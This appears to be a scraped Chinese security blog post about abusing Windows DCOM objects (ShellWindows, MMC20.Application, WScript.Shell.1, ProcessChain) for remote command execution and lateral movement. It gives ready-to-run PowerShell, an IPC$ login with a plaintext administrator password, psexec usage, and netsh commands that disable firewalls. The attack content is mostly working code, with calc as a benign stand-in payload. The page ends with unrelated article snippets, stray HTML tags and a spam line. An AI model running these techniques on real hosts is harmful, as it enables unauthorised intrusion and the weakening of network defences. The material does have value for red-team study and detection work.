<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    干貨|DCOM在滲透中的利用

    VSole2021-09-17 09:46:16

    0x01 DCOM簡介

    COM 是 Windows 的一個組件,可促進軟件之間的互操作性,DCOM 使用遠程過程調用 (RPC) 將其擴展到整個網絡。

    分布式組件對象模型(DCOM)遠程協議是一種通過遠程調用(RPC)公開應用程序對象的協議。

    在windows注冊表包含3個標識符中的DCOM配置數據:

    CLSID:類標識符是全局唯一標識符。在windows在程序中為每個以及安裝的類儲存一個CLSID。當我們需要運行一個類的時候,只需要知道正確的CLSID即可。

    PROGID:程序標識符,這個是程序員用來替代更為復雜的GLSID,同意理解。

    APPID:應用程序標識符,為了簡化通用安全和配置設置的管理,由同一可執行文件托管的分布式 COM 對象被分組到一個 AppID 中,屬于同一可執行文件的所有類以及訪問它所需的權限。如果 APPID 不正確,DCOM 將無法工作。

    一個DCOM運行流程

    ?客戶端請求遠程計算機通過CLSID或者PROGID創建一個對象。如果通過了APPID,遠程計算機將會使用PROGID查找CLSID。?遠程計算機檢查APPID并且驗證客戶端是否具有創建對象權限。?如果是exe則通過DCOMLaunch.exe如果是dll則通過DLLHOST.exe創建客戶端計算機請求的類實例。?如果溝通成功,則客戶端可以訪問遠程計算機上類的所有函數。

    0x02 DCOM利用

    2.1 獲得DCOM列表

    在windows7,server08中默認是powershell2.0,在server12及以上默認為powershell3.0以上。

    powershell3.0及以上

    Get-CimInstance Win32_DCOMApplication
    

    powershell2.0

    Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
    

    我們也可以使用wmic查詢

    wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_DCOMApplication  GET /all /FORMAT:list
    

    2.2 ShellWindows

    Get-CimInstance Win32_DCOMApplication | findstr "ShellWindows"
    

    得到CLSID

    {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
    

    通過查看可以發現該組件沒有明確啟動權限對象

    實例化對象

    $com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"127.0.0.1")
    $obj = [System.Activator]::CreateInstance($com)
    $item = $obj.Item()
    

    通過排查Document.Application.ShellExecute,該方法可以利用

    $item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
    

    2.3 MMC20.Application

    在enigma0x3博客中研究了一個DCOM橫向移動的技術具體可以查看鏈接。

    獲取MMC20.Application的GLSID

    Get-CimInstance Win32_DCOMApplication | findstr "MMC"
    

    我們可以實例化它,然后通過Get-Member方法來列出可以使用的方法。

    $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))$com.Document.ActiveView | Get-Member
    

    通過實例對象來查看ExecuteShellCommand具體參數說明

    $com.Document.ActiveView.ExecuteShellCommand
    

    具體可以查看ExecuteShellCommand。可以知道第一個參數為要執行的名字的值,第二個為指定工作目錄名稱的值,第三個為指定Command使用的參數,第四個為窗口狀態的值。

    我們知道了具體參數含義,來打開一個calc

    $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
    

    我們也可以遠程來進行交互

    ?建立ipc連接

    net use \\192.168.1.101\ipc$ /user:administrator "test123.."
    

    ?遠程創建調用方法

    $com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.11.7")$obj = [System.Activator]::CreateInstance($com)$item = $obj.item()$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
    

    實現條件:

    1.管理員權限的powershell2.客戶端關閉防火墻3.服務端需要域管的administrator賬戶或者目標主機具有管理員權限的賬戶4.雙方主機都需有MMC Application Class這個DCOM組件。

    psexec.exe xxx/xxx:xxx@192.168.1.101netsh advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allownetsh advfirewall set currentprofile state offnetsh advfirewall set allprofiles state offnetsh advfirewall set currentprofile settings remotemanagement enable
    

    2.4 WScript.Shell.1

    我們通過OleView來查看COM接口的Type Library

    可以看到IWshShell3接口存在的方法。

    通過ProgID轉換為CLSID

    [Type]::GetTypeFromProgID('WScript.Shell.1').guid
    

    得到CLSID

    72c24dd5-d70a-438b-8a42-98424b88afb8
    

    列出方法

    $obj = [activator]::CreateInstance([type]::GetTypeFromCLSID("72c24dd5-d70a-438b-8a42-98424b88afb8"))
    $obj | Get-Member
    

    利用代碼

    [activator]::CreateInstance([type]::GetTypeFromProgID(("WScript.Shell.1"))).Run("calc")
    (New-Object -ComObject WScript.shell.1).Run("calc")
    (New-Object -ComObject WScript.shell.1).Exec("calc")
    [activator]::CreateInstance([type]::GetTypeFromProgID(("WScript.Shell.1"))).Exec("calc")
    

    2.5 ProcessChain Class

    列出方法

    $obj = [activator]::CreateInstance([type]::GetTypeFromCLSID("E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E"))
    $obj | Get-Member
    

    執行:

    $obj = [activator]::CreateInstance([type]::GetTypeFromCLSID("E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E"))$obj.CommandLine = "cmd /c calc"$obj.Start([ref]$true)
    

    calc
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    根據以色列商業媒體網站 Calcalist 的調查,以色列警方在未經授權的情況下,使用 NSO 集團備受爭議的 Pegasus 間諜軟件對包括政治家和活動人士在內的以色列公民進行電話偵聽。監控以色列公民需要法院監督,這些監控是在缺少法院監督的情況下進行的,對于數據如何使用也缺乏監督,以色列警方和一位政府部長明確否認這一說法。
    安全運維:cmd命令大全(108個)
    收集內存馬打入方式
    2023-05-29 09:42:33
    收集內存馬打入方式
    java安全-02RMI
    2022-03-25 15:35:13
    基礎知識動態代理反射攻擊方式注冊端攻擊服務端java -cp .\ysoserial-master-8eb5
    安全專家ProxyLife 和 Cyble 研究人員最近發現了一個Qakbot活動,該活動利用 Windows 7 Calculator 應用程序進行 DLL 側載攻擊。動態鏈接庫 (DLL) 旁加載是一種利用 Microsoft Windows 應用程序處理 DLL 文件的方式的攻擊方法。在此類攻擊中,惡意軟件會在 Windows 的 WinSxS 目錄中放置一個偽造的惡意 DLL 文件,以便操
    VT EPT原理解析和進階VT開啟EPT后,繞過pg檢測,無視目前任何內核檢測工具的檢測如PCHander檢測不到HOOK。本次案例實現欺騙系統達到無痕HOOK SSDT中的NtOpenprocess保護calc程序的內存,讓OD,CE工具無法附加搜索。
    java -jar weblogic.jar -jndistart -Jport 8888 -jndirmi -codeurl http://127.0.0.1/
    美國拉斯維加斯-黑帽大會消息,跟上安全漏洞修補的步伐是具有挑戰性的,由于缺乏上下文的CVSS分數、混亂的供應商建議和不完整的修復,確定優先關注哪些漏洞變得比以往任何時候都更加困難。
    最近兩個月我一直在做拒絕服務漏洞相關的時間,并收獲了Spring和Weblogic的兩個CVE但DoS漏洞終歸是雞肋洞,并沒有太大的意義,比如之前有人說我只會水垃圾洞而已,所以在以后可能打算做其他方向早上和pyn3rd師傅聊天
    2014年為以色列警方設計的Pegasus間諜軟件原型細節和截圖顯示了該系統的工具和深遠的能力,該系統計劃在日常警務工作中部署。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类